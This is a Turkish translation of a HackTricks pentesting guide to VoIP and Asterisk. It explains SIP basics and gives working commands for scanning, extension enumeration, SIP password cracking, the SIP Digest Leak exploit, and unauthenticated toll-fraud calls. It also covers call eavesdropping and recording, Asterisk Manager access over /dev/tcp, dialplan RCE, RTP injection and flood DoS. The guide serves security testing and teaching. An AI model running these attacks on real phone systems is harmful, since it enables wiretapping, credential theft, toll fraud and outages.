Pentesting VoIP

HackTricks'i Destekleyin

VoIP Temel Bilgiler

VoIP'in nasıl çalıştığını öğrenmeye başlamak için kontrol edin:

Basic VoIP Protocols

Temel Mesajlar

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Yanıt Kodları

1xx—Geçici Yanıtlar

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Başarılı Yanıtlar

200 OK
202 Accepted
204 No Notification

3xx—Yeniden Yönlendirme Yanıtları

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—İstemci Hatası Yanıtları

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Sunucu Hatası Yanıtları

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Küresel Hata Yanıtları

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telefon Numaraları

Kırmızı Takımın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını tarayarak şirketle iletişim kurmak için mevcut telefon numaralarını aramaktır.

Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimiçi hizmetleri kullanabilirsiniz:

Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.

Müzik gibi otomatik yanıtların varlığı genellikle VoIP kullanıldığını gösterir.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT bilgileri

VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayımı, Kırmızı Takım için faydalı olacaktır.

Ağ Sayımı

  • nmap UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.

sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap SIPVicious'tan (sudo apt install sipvicious): Belirtilen ağda SIP hizmetlerini bulacaktır.

  • svmap engellemesi kolaydır çünkü User-Agent friendly-scanner kullanır, ancak /usr/share/sipvicious/sipvicious dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS taraması from sippts: SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye olanak tanır (ve daha fazlası).

sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ek Ağ Numaralandırma

PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:

  • 69/UDP (TFTP): Firmware güncellemeleri

  • 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için

  • 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif

  • 3306 (MySQL): MySQL veritabanı

  • 5038 (Manager): Asterisk'i diğer platformlardan kullanmaya olanak tanır

  • 5222 (XMPP): Jabber kullanarak mesajlar

  • 5432 (PostgreSQL): PostgreSQL veritabanı

  • Ve diğerleri...

Yöntem Numaralandırma

PBX'te kullanılabilir yöntemlerin hangileri olduğunu bulmak mümkündür SIPPTS enumerate kullanarak sippts

sippts enumerate -i 10.10.0.10

Sunucu yanıtlarını analiz etme

Gönderdiğimiz mesajın ve başlıkların türüne bağlı olarak, sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. sippts ile SIPPTS send kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. sippts içindeki SIPPTS wssend ile kişiselleştirilmiş WS mesajları gönderebiliriz.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki bireysel telefon hatlarına, cihazlara veya kullanıcılara atanan benzersiz iç tanımlayıcılardır. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi mümkün kılar.

  • svwar from SIPVicious (sudo apt install sipvicious): svwar, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavramsal olarak, bir uzantı aralığını veya belirli bir uzantı listesini tahmin ederek geleneksel wardialer'lara benzer şekilde çalışır.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten, büyük ağ ve port aralıklarını kontrol edebilir.

sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX bir Inter Asterisk Exchange protokolü kullanıcı adı brute-force enumeratörüdür. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Saldırıları

Şifre Kaba Kuvvet - çevrimiçi

PBX ve bazı uzantılar/kullanıcı adları keşfedildikten sonra, bir Kırmızı Ekip, yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya REGISTER yöntemi ile kimlik doğrulaması yapmayı deneyebilir.

Bir kullanıcı adı uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...

Eğer kullanıcı adı uzantıyla aynı değilse, onu kaba kuvvetle denemek için kullanıcı adını bulmanız gerekecek.

  • svcrack SIPVicious'tan (sudo apt install sipvicious): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.

sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Eğer bir Açık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri dinleyebilirsiniz. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, PBX ile ağ geçidi arasında bilgi dinlemek için MitM saldırıları gerçekleştirebilirsiniz, örneğin ARPspoofing.

Ağ bilgileri arasında, ekipmanı yönetmek için web kimlik bilgileri, kullanıcı uzantıları, kullanıcı adı, IP adresleri, hatta hashlenmiş şifreler ve RTP paketleri bulabilirsiniz; bu paketleri konuşmayı duymak için yeniden üretebilirsiniz ve daha fazlası.

Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç ucsniff 'dir.

SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık olarak göremeyeceğinizi unutmayın. SRTP ve ZRTP kullanıldığında da aynı durum geçerlidir, RTP paketleri açık metin olarak olmayacaktır.

SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)

Kimlik bilgileri nasıl gönderiliyor öğrenmek için SIP REGISTER iletişimini daha iyi anlamak için bu örneği kontrol edin.

  • sipdump & sipcrack, sipcrack'in bir parçası (apt-get install sipcrack): Bu araçlar, SIP protokolü içindeki digest kimlik doğrulamalarını pcap'den çıkarabilir ve bunları kaba kuvvet ile çözebilir.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.

sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack, SIPPTS dökümünden elde edilen özet kimlik doğrulamalarını kırmak için bir araçtır.

sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tshark, bir PCAP dosyasından SIP protokol verilerini çıkarır.

sippts tshark -f capture.pcap [-filter auth]

DTMF kodları

SIP kimlik bilgileri ağ trafiğinde bulunmanın yanı sıra, örneğin sesli mesaj erişimi için kullanılan DTMF kodlarının da bulunması mümkündür. Bu kodlar INFO SIP mesajları, ses veya RTP paketleri içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:

multimon -a DTMF -t wac pin.wav

Ücretsiz Aramalar / Asterisk Bağlantı Yanlış Yapılandırmaları

Asterisk'te belirli bir IP adresinden veya herhangi bir IP adresinden bir bağlantıya izin vermek mümkündür:

host=10.10.10.10
host=dynamic

Eğer bir IP adresi belirtilmişse, host her zaman REGISTER istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için bağlantılara izin veren açık portlara sahip olması gerekecektir.

Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:

  • type=user: Kullanıcı yalnızca çağrı alabilir.

  • type=friend: Peer olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla kullanılır)

  • type=peer: Peer olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)

Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:

  • insecure=port: IP tarafından doğrulanan peer bağlantılarına izin verir.

  • insecure=invite: INVITE mesajları için kimlik doğrulama gerektirmez

  • insecure=port,invite: Her ikisi de

type=friend kullanıldığında, host değişkeninin değeri kullanılmayacaktır, bu nedenle bir admin bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes buna bağlanabilecektir.

Örneğin, bu yapılandırma savunmasız olacaktır: host=10.10.10.10 insecure=port,invite type=friend

Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları

Asterisk'te bir bağlam, ilişkili uzantıları, eylemleri ve kuralları gruplandıran adlandırılmış bir konteyner veya bölümüdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.

Her bağlam, genellikle extensions.conf dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle gösterilir ve bağlam adı bunların içinde yer alır. Örneğin:

csharpCopy code[my_context]

İçerik bağlamında, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Bu örnek, "my_context" adlı basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100'ü aradığında, çağrı yanıtlanacak, bir karşılama mesajı çalacak ve ardından çağrı sonlandırılacaktır.

Bu, herhangi bir başka numarayı aramaya izin veren başka bir bağlamdır:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Eğer admin varsayılan bağlamı şu şekilde tanımlarsa:

[default]
include => my_context
include => external

Herkes sunucuyu başka bir numaraya arama yapmak için kullanabilecektir (ve sunucunun yöneticisi arama için ödeme yapacaktır).

Ayrıca, varsayılan olarak sip.conf dosyası allowguest=true içerir, bu nedenle herhangi bir saldırgan kimlik doğrulaması olmadan başka bir numaraya arama yapabilecektir.

  • SIPPTS invite from sippts: SIPPTS invite, PBX sunucusunun kimlik doğrulaması olmadan arama yapmamıza izin verip vermediğini kontrol eder. Eğer SIP sunucusunun yanlış bir yapılandırması varsa, dış numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir dış numaraya aktarmamıza da izin verebilir.

Örneğin, eğer Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, yetkilendirme olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/parola bilmeden arama yapabilir.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

Ücretsiz aramalar / Yanlış yapılandırılmış IVRS

IVRS, Etkileşimli Sesli Yanıt Sistemi anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini toplama gibi çeşitli işlevler sunan otomatik çağrı yönetimi sistemleri oluşturmak için kullanılır.

VoIP sistemlerindeki IVRS genellikle şunlardan oluşur:

  1. Sesli istemler: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.

  2. DTMF (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.

  3. Çağrı yönlendirme: Çağrıları, kullanıcı girdisine dayalı olarak belirli departmanlar, ajanlar veya dahili numaralar gibi uygun bir hedefe yönlendirme.

  4. Kullanıcı girişi toplama: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.

  5. Dış sistemlerle entegrasyon: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.

Asterisk VoIP sisteminde, extensions.conf dosyası ve Background(), Playback(), Read() gibi çeşitli uygulamalar kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini toplama ve çağrı akışını kontrol etme konusunda yardımcı olur.

Zayıf yapılandırma örneği

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Önceki, kullanıcının bir departmanı aramak için 1'e basması, başka birini aramak için 2'ye basması veya biliyorsa tam uzantıyı girmesi istendiği bir örnektir. Açık, belirtilen uzantı uzunluğunun kontrol edilmemesi, bir kullanıcının 5 saniyelik zaman aşımında tam bir numara girmesi ve bunun araması olabileceğidir.

Uzantı Enjeksiyonu

Aşağıdaki gibi bir uzantı kullanarak:

exten => _X.,1,Dial(SIP/${EXTEN})

Where ${EXTEN} is the extension that will be called, when the ext 101 is introduced this is what would happen: ${EXTEN} çağrılacak uzantıdır, ext 101 tanıtıldığında bu gerçekleşecektir:

exten => 101,1,Dial(SIP/101)

Ancak, eğer ${EXTEN} sayıların dışında daha fazlasını girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan 101&SIP123123123 girerek 123123123 telefon numarasını arayabilir. Ve bu sonuç olacaktır:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Bu nedenle, 101 ve 123123123 uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olan herhangi bir eşleşmeyi atlayan ancak var olmayan bir uzantı kullanırsa, yalnızca istenen numaraya bir çağrı enjekte edebilir.

SIPDigestLeak zafiyeti

SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan Digest kimlik doğrulama yanıtının sızmasına izin verir. Çevrimdışı bir şifre saldırısı mümkün hale gelir ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.

**Zafiyet senaryosu buradan**:

  1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor

  2. Saldırgan IP Telefone bir INVITE gönderiyor

  3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu açmıyor)

  4. Telefon kapatıldığında, kurban telefon saldırgana bir BYE gönderiyor

  5. Saldırgan bir 407 yanıtı veriyor ve kimlik doğrulama talep ediyor ve bir kimlik doğrulama meydan okuması yayımlıyor

  6. Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor

  7. Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir ve şifreyi tahmin edebilir

  • SIPPTS sızıntısı sippts'den: SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanarak brute force yapmak için SipCrack formatında kaydedilebilir.

sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) telefon numarasını tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı telefonu açtığında, kullanıcı ajanla arama yapılıp bağlanır.

Bunun için yaygın bir Asterisk profili şudur:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Önceki profil HERHANGİ BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).

  • Daha önce belirtildiği gibi, bir arama düzenlemek için okuma izinlerine gerek yoktur ve sadece yazma için başlatma gereklidir.

Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Daha fazla bilgi veya işlem talep edilebilir.

Dinleme

Asterisk'te, gerçekleşen konuşmaları duymak için izlenecek uzantı(lar) belirterek ChanSpy komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.

Örneğin, exten => 333,1,ChanSpy('all',qb) ifadesi, eğer uzantı 333aramak isterseniz, tüm uzantıları izleyeceğini, yeni bir konuşma başladığında (b) sessiz modda (q) dinlemeye başlayacağını belirtir; çünkü buna müdahale etmek istemiyoruz. * tuşuna basarak veya uzantı numarasını tuşlayarak bir konuşmadan diğerine geçebilirsiniz.

Sadece bir uzantıyı izlemek için ExtenSpy kullanmak da mümkündür.

Konuşmaları dinlemek yerine, bir uzantı kullanarak dosyalara kaydetmek de mümkündür:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Aramalar /tmp dizininde kaydedilecektir.

Asterisk'in kapandığında aramayı sızdıracak bir script çalıştırmasını da sağlayabilirsiniz.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed zafiyeti

RTCPBleed, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zaman Protokolü) trafiğinin, İnternetteki herkes tarafından dinlenip yönlendirilebilmesine olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.

RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen NAT sınırlamalarını gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, herhangi bir tür kimlik doğrulama kullanmaz. Bu nedenle, saldırganlar, RTP proxy'sine RTP trafiği gönderebilir ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.

RTP proxy'lerinin ve RTP yığınlarının bir diğer ilginç davranışı, bazen RTP Bleed'e karşı savunmasız olsalar bile, herhangi bir kaynaktan RTP paketlerini kabul edip iletebilmeleridir. Bu nedenle, saldırganlar meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.

Asterisk ve FreePBX geleneksel olarak NAT=yes ayarını kullanmıştır, bu da RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanır ve bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.

Daha fazla bilgi için https://www.rtpbleed.com/ adresini kontrol edin.

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.

sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed, RTCP akışları göndererek RTP Bleed zafiyetini tespit eder.

sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed açığını istismar eder.

sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed açığını istismar eder.

sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asterisk'te bir şekilde uzantı kuralları ekleyip bunları yeniden yükleyebilme (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, System komutunu kullanarak RCE elde etmek mümkündür.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

Eğer sunucu System komutunda belirli karakterlerin kullanılmasına izin vermiyorsa (Elastix'te olduğu gibi), web sunucusunun sistemde dosya oluşturmasına izin verip vermediğini kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu bir arka kapı scripti oluşturmak için kullanın, ardından System ile bu scripti çalıştırın.

İlginç yerel dosyalar ve izinler

  • sip.conf -> SIP kullanıcılarının şifresini içerir.

  • Eğer Asterisk sunucusu root olarak çalışıyorsa, root'u tehlikeye atabilirsiniz.

  • mysql root kullanıcısının herhangi bir şifresi olmayabilir.

  • bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.

  • FreePBX

  • amportal.conf -> Web paneli yöneticisinin şifresini içerir (FreePBX).

  • FreePBX.conf -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir.

  • bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.

  • Elastix

  • Elastix.conf -> mysql root şifresi, IMAPd şifresi, web admin şifresi gibi düz metin olarak birkaç şifre içerir.

  • Birçok klasör, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında diğer arka kapılı ikili dosyaları yüklemesini sağlayabilir.

RTP Enjeksiyonu

.wav dosyasını rtpinsertsound (sudo apt install rtpinsertsound) ve rtpmixsound (sudo apt install rtpmixsound) gibi araçlar kullanarak konuşmalara eklemek mümkündür.

Ya da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresindeki scriptleri kullanarak konuşmaları tarayabilir (rtpscan.pl), bir konuşmaya .wav gönderebilir (rtpsend.pl) ve bir konuşmaya gürültü ekleyebilirsiniz (rtpflood.pl).

DoS

VoIP sunucularında DoS elde etmenin birkaç yolu vardır.

  • SIPPTS flood sippts'den: SIPPTS flood, hedefe sınırsız mesaj gönderir.

  • sippts flood -i 10.10.0.10 -m invite -v

  • SIPPTS ping sippts'den: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.

  • sippts ping -i 10.10.0.10

